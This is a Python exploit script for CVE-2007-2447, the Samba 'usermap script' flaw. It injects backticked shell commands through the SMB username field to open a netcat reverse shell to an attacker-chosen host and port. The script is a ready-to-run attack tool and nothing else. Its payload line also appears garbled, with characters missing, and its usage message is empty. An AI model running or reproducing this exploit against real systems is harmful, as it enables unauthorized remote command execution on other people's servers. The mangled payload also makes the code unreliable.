#!/usr/bin/python # -*- coding: utf-8 -*- # From : https://github.com/amriunix/cve-2007-2447 # case study : https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ import sys from smb.SMBConnection import SMBConnection def exploit(rhost, rport, lhost, lport): payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + ' 0/tmp/hago 2>&1; rm /tmp/hago' username = "/=`nohup " + payload + "`" conn = SMBConnection(username, "", "", "") try: conn.connect(rhost, int(rport), timeout=1) except: print("[+] Payload was sent - check netcat !") if __name__ == '__main__': print("[*] CVE-2007-2447 - Samba usermap script") if len(sys.argv) != 5: print("[-] usage: python " + sys.argv[0] + " ") else: print("[+] Connecting !") rhost = sys.argv[1] rport = sys.argv[2] lhost = sys.argv[3] lport = sys.argv[4] exploit(rhost, rport, lhost, lport)